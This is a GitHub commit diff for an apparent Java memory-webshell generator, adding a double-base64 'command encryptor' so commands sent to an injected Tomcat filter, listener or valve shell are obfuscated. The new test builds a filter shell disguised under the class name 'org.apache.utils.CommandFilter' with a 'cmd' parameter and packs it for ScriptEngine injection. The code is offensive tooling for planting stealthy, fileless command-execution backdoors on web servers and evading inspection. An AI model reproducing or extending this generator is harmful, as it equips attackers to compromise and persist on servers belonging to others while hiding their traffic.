Skip to content

Commit 6fa58e8

Browse files
committed
feat: support command encryptor
1 parent 28098d1 commit 6fa58e8

File tree

26 files changed

+456
-187
lines changed

26 files changed

+456
-187
lines changed

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,10 @@
33
import com.reajason.javaweb.memshell.Packers;
44
import com.reajason.javaweb.memshell.Server;
55
import com.reajason.javaweb.memshell.ShellTool;
6+
import com.reajason.javaweb.memshell.config.CommandConfig;
67
import com.reajason.javaweb.memshell.server.AbstractShell;
78
import org.springframework.web.bind.annotation.CrossOrigin;
9+
import org.springframework.web.bind.annotation.GetMapping;
810
import org.springframework.web.bind.annotation.RequestMapping;
911
import org.springframework.web.bind.annotation.RestController;
1012

@@ -58,4 +60,9 @@ public List<String> getPackers() {
5860
}
5961
return coreMap;
6062
}
63+
64+
@GetMapping("/command/encryptors")
65+
public List<CommandConfig.Encryptor> getCommandEncryptors() {
66+
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
67+
}
6168
}

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@ static class ShellToolConfigDTO {
2828
private String headerName;
2929
private String headerValue;
3030
private String shellClassBase64;
31+
private String encryptor;
3132
}
3233

3334
public ShellToolConfig parseShellToolConfig() {
@@ -48,6 +49,7 @@ public ShellToolConfig parseShellToolConfig() {
4849
case Command -> CommandConfig.builder()
4950
.shellClassName(shellToolConfig.getShellClassName())
5051
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
52+
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
5153
.build();
5254
case Suo5 -> Suo5Config.builder()
5355
.shellClassName(shellToolConfig.getShellClassName())

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.*;
44
import com.reajason.javaweb.memshell.generator.*;
5+
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
56
import com.reajason.javaweb.memshell.server.AbstractShell;
67
import com.reajason.javaweb.memshell.utils.CommonUtil;
78
import org.apache.commons.lang3.StringUtils;

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,4 +16,18 @@
1616
public class CommandConfig extends ShellToolConfig {
1717
@Builder.Default
1818
private String paramName = CommonUtil.getRandomString(8);
19+
20+
@Builder.Default
21+
private Encryptor encryptor = Encryptor.RAW;
22+
23+
public enum Encryptor {
24+
RAW, DOUBLE_BASE64;
25+
26+
public static Encryptor fromString(String encryptor) {
27+
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
28+
return DOUBLE_BASE64;
29+
}
30+
return RAW;
31+
}
32+
}
1933
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java

Lines changed: 0 additions & 72 deletions
This file was deleted.
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
package com.reajason.javaweb.memshell.generator.command;
2+
3+
import com.reajason.javaweb.ClassBytesShrink;
4+
import com.reajason.javaweb.buddy.*;
5+
import com.reajason.javaweb.memshell.ShellType;
6+
import com.reajason.javaweb.memshell.config.CommandConfig;
7+
import com.reajason.javaweb.memshell.config.ShellConfig;
8+
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
9+
import net.bytebuddy.ByteBuddy;
10+
import net.bytebuddy.asm.Advice;
11+
import net.bytebuddy.asm.AsmVisitorWrapper;
12+
import net.bytebuddy.description.modifier.Ownership;
13+
import net.bytebuddy.description.modifier.Visibility;
14+
import net.bytebuddy.dynamic.DynamicType;
15+
import net.bytebuddy.implementation.FixedValue;
16+
import org.apache.commons.lang3.StringUtils;
17+
18+
import java.util.Collections;
19+
import java.util.HashMap;
20+
21+
import static net.bytebuddy.matcher.ElementMatchers.named;
22+
23+
/**
24+
* @author ReaJason
25+
* @since 2024/11/24
26+
*/
27+
public class CommandGenerator {
28+
private final ShellConfig shellConfig;
29+
private final CommandConfig commandConfig;
30+
31+
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
32+
this.shellConfig = shellConfig;
33+
this.commandConfig = commandConfig;
34+
}
35+
36+
public DynamicType.Builder<?> getBuilder() {
37+
if (commandConfig.getShellClass() == null) {
38+
throw new IllegalArgumentException("commandConfig.getClazz() == null");
39+
}
40+
41+
DynamicType.Builder<?> builder = new ByteBuddy()
42+
.redefine(commandConfig.getShellClass())
43+
.name(commandConfig.getShellClassName())
44+
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
45+
46+
if (shellConfig.isJakarta()) {
47+
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
48+
}
49+
50+
if (shellConfig.isDebugOff()) {
51+
builder = LogRemoveMethodVisitor.extend(builder);
52+
}
53+
54+
String shellType = shellConfig.getShellType();
55+
56+
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
57+
builder = builder.visit(
58+
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
59+
put("paramName", commandConfig.getParamName());
60+
}})
61+
);
62+
} else if (!ShellType.WEBSOCKET.equals(shellType)) {
63+
builder = builder.field(named("paramName"))
64+
.value(commandConfig.getParamName());
65+
}
66+
67+
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
68+
builder = builder
69+
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
70+
.method(named("getParam"),
71+
new MethodCallReplaceVisitorWrapper(
72+
commandConfig.getShellClassName(),
73+
Collections.singleton(ShellCommonUtil.class.getName()))
74+
)
75+
)
76+
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
77+
.withParameters(String.class)
78+
.intercept(FixedValue.nullValue())
79+
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
80+
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
81+
}
82+
83+
return builder;
84+
}
85+
86+
public byte[] getBytes() {
87+
DynamicType.Builder<?> builder = getBuilder();
88+
try (DynamicType.Unloaded<?> make = builder.make()) {
89+
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
90+
}
91+
}
92+
}
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package com.reajason.javaweb.memshell.generator.command;
2+
3+
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
4+
import net.bytebuddy.asm.Advice;
5+
6+
/**
7+
* @author ReaJason
8+
* @since 2025/4/27
9+
*/
10+
public class DoubleBase64ParamInterceptor {
11+
12+
@Advice.OnMethodExit
13+
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
14+
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
15+
}
16+
}

generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ public static String base64DecodeToString(String bs) {
7474
} catch (Exception ignored) {
7575
}
7676
}
77-
return value == null ? "" : new String(value);
77+
return value == null ? null : new String(value);
7878
}
7979

8080
public static class Base64DecodeToStringInterceptor {
@@ -96,7 +96,7 @@ public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs,
9696
} catch (Exception ignored) {
9797
}
9898
}
99-
returnValue = value == null ? "" : new String(value);
99+
returnValue = value == null ? null : new String(value);
100100
}
101101
}
102102
}

generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java

Lines changed: 31 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,16 @@
11
package com.reajason.javaweb.memshell.tomcat.command;
22

3-
import com.reajason.javaweb.memshell.ShellType;
3+
import com.reajason.javaweb.memshell.*;
44
import com.reajason.javaweb.memshell.config.CommandConfig;
5+
import com.reajason.javaweb.memshell.config.GenerateResult;
6+
import com.reajason.javaweb.memshell.config.InjectorConfig;
57
import com.reajason.javaweb.memshell.config.ShellConfig;
6-
import com.reajason.javaweb.memshell.generator.CommandGenerator;
8+
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
79
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
810
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
911
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
1012
import com.reajason.javaweb.util.ClassUtils;
13+
import org.junit.jupiter.api.Test;
1114
import org.junit.jupiter.params.ParameterizedTest;
1215
import org.junit.jupiter.params.provider.Arguments;
1316
import org.junit.jupiter.params.provider.MethodSource;
@@ -36,15 +39,37 @@ static Stream<Arguments> casesProvider() {
3639
@MethodSource("casesProvider")
3740
void generate(String shellType, Class<?> clazz, String className) {
3841
ShellConfig generateConfig = new ShellConfig();
39-
CommandConfig shellConfig = CommandConfig.builder()
42+
CommandConfig commandConfig = CommandConfig.builder()
4043
.shellClass(clazz)
4144
.shellClassName(className)
4245
.paramName("cmd")
4346
.build();
4447
generateConfig.setShellType(shellType);
45-
byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
48+
byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes();
4649
Object obj = ClassUtils.newInstance(bytes);
47-
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
48-
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
50+
assertEquals(commandConfig.getShellClassName(), obj.getClass().getName());
51+
assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
52+
}
53+
54+
@Test
55+
void testGenerator() throws Exception {
56+
ShellConfig shellConfig = ShellConfig.builder()
57+
.server(Server.Tomcat)
58+
.shellType(ShellType.FILTER)
59+
.shellTool(ShellTool.Command)
60+
.build();
61+
62+
CommandConfig commandConfig = CommandConfig.builder()
63+
.shellClass(CommandFilter.class)
64+
.shellClassName("org.apache.utils.CommandFilter")
65+
.paramName("cmd")
66+
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
67+
.build();
68+
InjectorConfig injectorConfig = new InjectorConfig();
69+
70+
GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
71+
// Files.write(Paths.get("hehe.class"), generate.getShellBytes());
72+
String pack = Packers.ScriptEngine.getInstance().pack(generate);
73+
System.out.println(pack);
4974
}
5075
}

0 commit comments

Comments
 (0)